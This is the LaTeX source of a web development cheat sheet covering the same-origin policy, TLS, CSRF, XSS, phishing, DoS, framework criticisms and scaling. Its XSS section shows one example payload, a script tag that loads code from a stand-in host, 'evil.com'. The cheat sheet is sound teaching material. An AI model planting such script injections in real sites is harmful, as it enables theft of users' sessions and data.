\documentclass[10pt,a4paper]{article}

% Packages
\usepackage{fancyhdr}           % For header and footer
\usepackage{multicol}           % Allows multicols in tables
\usepackage{tabularx}           % Intelligent column widths
\usepackage{tabulary}           % Used in header and footer
\usepackage{hhline}             % Border under tables
\usepackage{graphicx}           % For images
\usepackage{xcolor}             % For hex colours
%\usepackage[utf8x]{inputenc}    % For unicode character support
\usepackage[T1]{fontenc}        % Without this we get weird character replacements
\usepackage{colortbl}           % For coloured tables
\usepackage{setspace}           % For line height
\usepackage{lastpage}           % Needed for total page number
\usepackage{seqsplit}           % Splits long words.
%\usepackage{opensans}          % Can't make this work so far. Shame. Would be lovely.
\usepackage[normalem]{ulem}     % For underlining links
% Most of the following are not required for the majority
% of cheat sheets but are needed for some symbol support.
\usepackage{amsmath}            % Symbols
\usepackage{MnSymbol}           % Symbols
\usepackage{wasysym}            % Symbols
%\usepackage[english,german,french,spanish,italian]{babel}              % Languages

% Document Info
\author{SalJose24}
\pdfinfo{
  /Title (web-development.pdf)
  /Creator (Cheatography)
  /Author (SalJose24)
  /Subject (Web Development Cheat Sheet)
}

% Lengths and widths
\addtolength{\textwidth}{6cm}
\addtolength{\textheight}{-1cm}
\addtolength{\hoffset}{-3cm}
\addtolength{\voffset}{-2cm}
\setlength{\tabcolsep}{0.2cm} % Space between columns
\setlength{\headsep}{-12pt} % Reduce space between header and content
\setlength{\headheight}{85pt} % If less, LaTeX automatically increases it
\renewcommand{\footrulewidth}{0pt} % Remove footer line
\renewcommand{\headrulewidth}{0pt} % Remove header line
\renewcommand{\seqinsert}{\ifmmode\allowbreak\else\-\fi} % Hyphens in seqsplit
% This two commands together give roughly
% the right line height in the tables
\renewcommand{\arraystretch}{1.3}
\onehalfspacing

% Commands
\newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour
\newcommand{\mymulticolumn}[3]{\multicolumn{#1}{>{\columncolor{\RowColorName}}#2}{#3}} % For coloured multi-cols
\newcolumntype{x}[1]{>{\raggedright}p{#1}} % New column types for ragged-right paragraph columns
\newcommand{\tn}{\tabularnewline} % Required as custom column type in use

% Font and Colours
\definecolor{HeadBackground}{HTML}{333333}
\definecolor{FootBackground}{HTML}{666666}
\definecolor{TextColor}{HTML}{333333}
\definecolor{DarkBackground}{HTML}{A3A3A3}
\definecolor{LightBackground}{HTML}{F3F3F3}
\renewcommand{\familydefault}{\sfdefault}
\color{TextColor}

% Header and Footer
\pagestyle{fancy}
\fancyhead{} % Set header to blank
\fancyfoot{} % Set footer to blank
\fancyhead[L]{
\noindent
\begin{multicols}{3}
\begin{tabulary}{5.8cm}{C}
    \SetRowColor{DarkBackground}
    \vspace{-7pt}
    {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent
        \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}}
    }
\end{tabulary}
\columnbreak
\begin{tabulary}{11cm}{L}
    \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{Web Development Cheat Sheet}}}} \\
    \normalsize{by \textcolor{DarkBackground}{SalJose24} via \textcolor{DarkBackground}{\uline{cheatography.com/27693/cs/8372/}}}
\end{tabulary}
\end{multicols}}

\fancyfoot[L]{ \footnotesize
\noindent
\begin{multicols}{3}
\begin{tabulary}{5.8cm}{LL}
  \SetRowColor{FootBackground}
  \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}}  \\
  \vspace{-2pt}SalJose24 \\
  \uline{cheatography.com/saljose24} \\
  \end{tabulary}
\vfill
\columnbreak
\begin{tabulary}{5.8cm}{L}
  \SetRowColor{FootBackground}
  \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}}  \\
   \vspace{-2pt}Published 7th June, 2016.\\
   Updated 7th June, 2016.\\
   Page {\thepage} of \pageref{LastPage}.
\end{tabulary}
\vfill
\columnbreak
\begin{tabulary}{5.8cm}{L}
  \SetRowColor{FootBackground}
  \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}}  \\
  \SetRowColor{white}
  \vspace{-5pt}
  %\includegraphics[width=48px,height=48px]{dave.jpeg}
  Measure your website readability!\\
  www.readability-score.com
\end{tabulary}
\end{multicols}}




\begin{document}
\raggedright
\raggedcolumns

% Set font size to small. Switch to any value
% from this page to resize cheat sheet text:
% www.emerson.emory.edu/services/latex/latex_169.html
\footnotesize % Small font.

\begin{multicols*}{3}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Web App Security Browser Isolation}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{{\bf{ Modes of attacks on web applications}} \newline % Row Count 1 (+ 1)
● Attack the connection between browser and web server \newline % Row Count 3 (+ 2)
○ Steal password \newline % Row Count 4 (+ 1)
○ Hijack existing connection \newline % Row Count 5 (+ 1)
● Attack the server \newline % Row Count 6 (+ 1)
○ Inject code that does bad things \newline % Row Count 7 (+ 1)
● Attack the browser \newline % Row Count 8 (+ 1)
○ Inject code that does bad things \newline % Row Count 9 (+ 1)
● Breach the browser, attack the client machine \newline % Row Count 10 (+ 1)
● Fool the user (phishing) \newline % Row Count 11 (+ 1)
 {\bf{Security Defenses}} \newline % Row Count 12 (+ 1)
● Isolation in browsers \newline % Row Count 13 (+ 1)
○ Web app run in isolated sandbox \newline % Row Count 14 (+ 1)
● Cryptography \newline % Row Count 15 (+ 1)
 Same-Origin Policy \newline % Row Count 16 (+ 1)
● General idea: separate content with different trust levels into different frames, restrict communication between frames \newline % Row Count 19 (+ 3)
● One frame can access content in another frame only if they both came from the same origin \newline % Row Count 21 (+ 2)
● Origin is \newline % Row Count 22 (+ 1)
○ Protocol \newline % Row Count 23 (+ 1)
○ Domain name ○ Port \newline % Row Count 24 (+ 1)
● Access applies to DOM resource, cookies, XMLHttpRequest/AJAX requests \newline % Row Count 26 (+ 2)
● Doesn't apply: \textless{}script\textgreater{} tags \newline % Row Count 27 (+ 1)
○ Javascript executes with full privileges of the enclosing frame. \newline % Row Count 29 (+ 2)
○ Protect information from unauthorized viewing \newline % Row Count 30 (+ 1)
} \tn 
\end{tabularx}
\par\addvspace{1.3em}

\vfill
\columnbreak
\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Web App Security Browser Isolation (cont)}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{○ Detect changes \newline % Row Count 1 (+ 1)
○ Determine origin of information \newline % Row Count 2 (+ 1)
● Web development frameworks \newline % Row Count 3 (+ 1)
○ Use patterns that help, avoid dangerous ones \newline % Row Count 4 (+ 1)
{\bf{same-origin policy is too restrictive}} \newline % Row Count 5 (+ 1)
● There are times when it is useful for frames with different origins to \newline % Row Count 7 (+ 2)
communicate \newline % Row Count 8 (+ 1)
○ Example: Sub-domains of same organization \newline % Row Count 9 (+ 1)
○ Web fonts \newline % Row Count 10 (+ 1)
○ Content distribution network \newline % Row Count 11 (+ 1)
 HTML5 feature: \seqsplit{Access-Control-Allow-Origin} \newline % Row Count 12 (+ 1)
● \seqsplit{Access-Control-Allow-Origin} header in HTTP response: \newline % Row Count 14 (+ 2)
    \seqsplit{Access-Control-Allow-Origin:} http://foo.com \newline % Row Count 15 (+ 1)
    \seqsplit{Access-Control-Allow-Methods:} PUT, DELETE \newline % Row Count 16 (+ 1)
 HTML5 postMessage - safe messaging \newline % Row Count 17 (+ 1)
● Sender (from domain a.com) to an embedded frame of different domain% Row Count 19 (+ 2)
} \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Criticisms}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{{\bf{Angular criticisms}} \newline % Row Count 1 (+ 1)
Digest cycle overheads on pages with large numbers of items,Consider the watches on a large data table with multiple columns,HTML template with two-way binding,DOM access overhead,Access to the browser DOM is slow,Large size of JavaScript,Needs to download, initialize, and digest before anything appears,Problematic on mobile, Software engineering problems programming at scale, Scope inheritance, JavaScript lack of typing, interface definitions,  \newline % Row Count 10 (+ 9)
{\bf{Node}} \newline % Row Count 11 (+ 1)
Callback hell - TJ Holowaychuk's why Node sucks: \newline % Row Count 12 (+ 1)
1. you may get duplicate callbacks \newline % Row Count 13 (+ 1)
2. you may not get a callback at all (lost in limbo) \newline % Row Count 15 (+ 2)
3. you may get out-of-band errors \newline % Row Count 16 (+ 1)
4. emitters may get multiple "error" events \newline % Row Count 17 (+ 1)
5. missing "error" events sends everything to hell \newline % Row Count 19 (+ 2)
6. often unsure what requires "error" handlers \newline % Row Count 21 (+ 2)
7. "error" handlers are very verbose \newline % Row Count 22 (+ 1)
8. callbacks suck \newline % Row Count 23 (+ 1)
JavaScript lack of typing checking Concurrency support (e.g. crypto operations) \newline % Row Count 25 (+ 2)
{\bf{Mongo}} \newline % Row Count 26 (+ 1)
Lots - Pretty lame database \newline % Row Count 27 (+ 1)
○ Loses data, doesn't scale well \newline % Row Count 28 (+ 1)
○ Large space overheads for objects and indexes \newline % Row Count 29 (+ 1)
○ Query language \newline % Row Count 30 (+ 1)
} \tn 
\end{tabularx}
\par\addvspace{1.3em}

\vfill
\columnbreak
\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Criticisms (cont)}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{○ Limited concurrency control (only single object transactions) \newline % Row Count 2 (+ 2)
○ Not SQL?% Row Count 3 (+ 1)
} \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Network Security}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{\textasciicircum{}"man in the middle" attacks\textasciicircum{} \newline % Row Count 1 (+ 1)
\textasciicircum{}● Attacker has access to network communication between browser and server.\textasciicircum{} \newline % Row Count 3 (+ 2)
\textasciicircum{}● Passive attacks:\textasciicircum{} \newline % Row Count 4 (+ 1)
\textasciicircum{}○ Eavesdrop on network traffic\textasciicircum{} \newline % Row Count 5 (+ 1)
\textasciicircum{}● Active attacks:\textasciicircum{} \newline % Row Count 6 (+ 1)
\textasciicircum{}○ Inject network packets\textasciicircum{} \newline % Row Count 7 (+ 1)
\textasciicircum{}○ Modify packets\textasciicircum{} \newline % Row Count 8 (+ 1)
\textasciicircum{}○ Reorder, replay packets\textasciicircum{} \newline % Row Count 9 (+ 1)
\textasciicircum{}○ Block packets\textasciicircum{} \newline % Row Count 10 (+ 1)
\textasciicircum{}Certificate authority: well-known, trusted server that certifies public keys.\textasciicircum{} \textasciicircum{}Certificate: a document encrypted with the secret key of a certificate authority\textasciicircum{} \newline % Row Count 14 (+ 4)
\textasciicircum{}○ Identifies a particular service along with its public key\textasciicircum{} \newline % Row Count 16 (+ 2)
\textasciicircum{}Certificate authorities establish selfs as well known services on Internet\textasciicircum{} \newline % Row Count 18 (+ 2)
\textasciicircum{}○ Browsers hard-wired to accept certificates from dozens of authorities\textasciicircum{} \newline % Row Count 20 (+ 2)
\textasciicircum{}● Internet services compute keys, gives the public key to a certificate authority along with proof of identity\textasciicircum{} \newline % Row Count 23 (+ 3)
\textasciicircum{}● Certificate authority returns a certificate for that service.\textasciicircum{} \newline % Row Count 25 (+ 2)
\textasciicircum{}● Service can pass along this certificate to browsers\textasciicircum{} \newline % Row Count 27 (+ 2)
\textasciicircum{}○ Browser can validate the certificate came from the certification authority\textasciicircum{} \textasciicircum{}and see who the certification authority thinks the browser is talking to.\textasciicircum{} \newline % Row Count 31 (+ 4)
} \tn 
\end{tabularx}
\par\addvspace{1.3em}

\vfill
\columnbreak
\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Network Security (cont)}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{\textasciicircum{}● Trust: Browser trusts to certification authority\textasciicircum{} \newline % Row Count 2 (+ 2)
\textasciicircum{} Secure Sockets Layer (SSL) \& Transport Layer Security (TLS) - HTTPS\textasciicircum{} \newline % Row Count 4 (+ 2)
\textasciicircum{}● Protocol used for secure communication between browsers and servers\textasciicircum{} \newline % Row Count 6 (+ 2)
\textasciicircum{}Excuses for not using HTTPS for all Web traffic?\textasciicircum{} \newline % Row Count 8 (+ 2)
\textasciicircum{}● Expensive: slows down Web servers\textasciicircum{} \newline % Row Count 9 (+ 1)
\textasciicircum{}● Breaks web page caching\textasciicircum{} \newline % Row Count 10 (+ 1)
\textasciicircum{} Problem: SSL \textasciicircum{} \newline % Row Count 11 (+ 1)
\textasciicircum{}When server returns pages with HTTPS links, attacker changes them to HTTP.\textasciicircum{} \newline % Row Count 13 (+ 2)
\textasciicircum{}● When browser follows those links, attacker intercepts requests, creates its\textasciicircum{} \newline % Row Count 15 (+ 2)
\textasciicircum{}own HTTPS connection to server, and forwards requests via that\textasciicircum{} \newline % Row Count 17 (+ 2)
\textasciicircum{}Problem: Mixed content\textasciicircum{} \newline % Row Count 18 (+ 1)
\textasciicircum{}● Main page loaded with HTTPS, but some internal content loaded via HTTP (e.\textasciicircum{} \newline % Row Count 20 (+ 2)
\textasciicircum{}g. \textless{}script src="http://.../script.js"\textgreater{}). ○ Network attacker can modify content to attack page.\textasciicircum{}% Row Count 22 (+ 2)
} \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Session Attacks}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{get user's session id - session ids must be unpredictable use framework \newline % Row Count 2 (+ 2)
Use Https to protect cookies - change session id after logging in \newline % Row Count 4 (+ 2)
{\bf{Cross Site Forgery Request (CSFR)}} \newline % Row Count 5 (+ 1)
visiting multiple pages (attacker's website) - mark pages, Don't accept POST submission directly from forms, HTTP GET should not have side effects, have JavaScript include special HTTP request header property with secret \newline % Row Count 10 (+ 5)
{\bf{Data Tampering}} \newline % Row Count 11 (+ 1)
Message Authentication Codes (MAC) - MAC function takes arbitrary-length text, secret key, produces a MAC that provides a unique signature for the text, Server includes MAC with data sent to the browser, Browser must return both MAC and data, check for tampering \newline % Row Count 17 (+ 6)
need: Authentication - Know that we (the web server) authored the information Integrity - Known that it wasn't tampered with, Need encryption if we want confidentiality% Row Count 21 (+ 4)
} \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Code Injection Attacks}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{What happens if someone inputs a comment with a script tag? \newline % Row Count 2 (+ 2)
    \textless{}script \seqsplit{src="http://www.evil.com/damage.js"} /\textgreater{}, Called a {\bf{Cross Site Scripting Attack (XSS)}} \newline % Row Count 4 (+ 2)
 Stored Cross Site Scripting Attack \newline % Row Count 5 (+ 1)
● Attacker stores attacking code in a victim Web server, where it gets accessed by victim clients \newline % Row Count 7 (+ 2)
 Reflected Cross Site Scripting \newline % Row Count 8 (+ 1)
● Attacker doesn't need to store attack on website, can just reflect it of the website \newline % Row Count 10 (+ 2)
 Modern JavaScript frameworks have better defences \newline % Row Count 12 (+ 2)
● Angular bind-html - Sanitizes HTML to remove script, etc. \newline % Row Count 14 (+ 2)
SQL Injection - Don't write SQL% Row Count 15 (+ 1)
} \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Phishing Attacks}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{Fool people to disclose personal info \newline % Row Count 1 (+ 1)
Problem: too easy to obtain certificates \newline % Row Count 2 (+ 1)
Counter-measure: extended validation certificates - vet the organization, warn users \newline % Row Count 4 (+ 2)
Spear phishing - Phishing with attacker having personal information% Row Count 6 (+ 2)
} \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{DoS Attacks}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{An attack that causes a service to fail by using up resources \newline % Row Count 2 (+ 2)
None perfect - really hard problem \newline % Row Count 3 (+ 1)
 Do want to take steps to avoid accidental DOS and make purpose-driven DOS harder, Resource quotas, Track resource consumption per user and provide way of cutting off users, Good for catching accidents, less so for malicious attacks,  Make resources cost money, Raises the cost or hassle for an attacker,  Not always possible under business model, Network layer: Need to push back on attack stream% Row Count 11 (+ 8)
} \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{LargeScalableWebApps}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{scale-out architecture - make more instances, Benefits of scale-out \newline % Row Count 2 (+ 2)
 Can scale to fit needs: Just add or remove instances \newline % Row Count 4 (+ 2)
Natural redundancy make tolerating failures easier: One instance dies others keep working \newline % Row Count 6 (+ 2)
DNS (Domain Name System) load balancing: \newline % Row Count 7 (+ 1)
○ Specify multiple targets for a given name \newline % Row Count 8 (+ 1)
○ Handles geographically distributed system \newline % Row Count 9 (+ 1)
○ DNS servers rotate among those targets \newline % Row Count 10 (+ 1)
 Load-balancing switch ("Layer 4-7 Switch") \newline % Row Count 11 (+ 1)
● Special load balancer network switch \newline % Row Count 12 (+ 1)
○ Incoming packets pass through load balancer switch between Internet and web servers \newline % Row Count 14 (+ 2)
○ Load balancer directs TCP connection request to one of the many web servers \newline % Row Count 16 (+ 2)
○ Load balancer will send all packets for that connection to the same server. \newline % Row Count 18 (+ 2)
Data sharding - Spread database over scale-out instances \newline % Row Count 20 (+ 2)
○ Each piece is called data shard \newline % Row Count 21 (+ 1)
○ Can tolerate failures by replication - place more than one copy of data (3 is common) \newline % Row Count 23 (+ 2)
Memcache: main-memory caching system \newline % Row Count 24 (+ 1)
Many useful services available: \newline % Row Count 25 (+ 1)
○ Auto scaling (spinning up and down instances on load changes) \newline % Row Count 27 (+ 2)
○ Geographic distribution (can have parts of the backend in different parts of the world) \newline % Row Count 29 (+ 2)
○ Monitoring and reporting (what parts of web app is being used, etc.) \newline % Row Count 31 (+ 2)
} \tn 
\end{tabularx}
\par\addvspace{1.3em}

\vfill
\columnbreak
\begin{tabularx}{5.377cm}{X}
\SetRowColor{DarkBackground}
\mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{LargeScalableWebApps (cont)}}  \tn
\SetRowColor{white}
\mymulticolumn{1}{x{5.377cm}}{○ Fault handling (monitoring and mapping out failed services \newline % Row Count 2 (+ 2)
 Content Distribution Network (CDN) \newline % Row Count 3 (+ 1)
● Consider a read-only part of our web app (e.g. image, html template, etc.)% Row Count 5 (+ 2)
} \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}-}
\end{tabularx}
\par\addvspace{1.3em}


% That's all folks
\end{multicols*}

\end{document}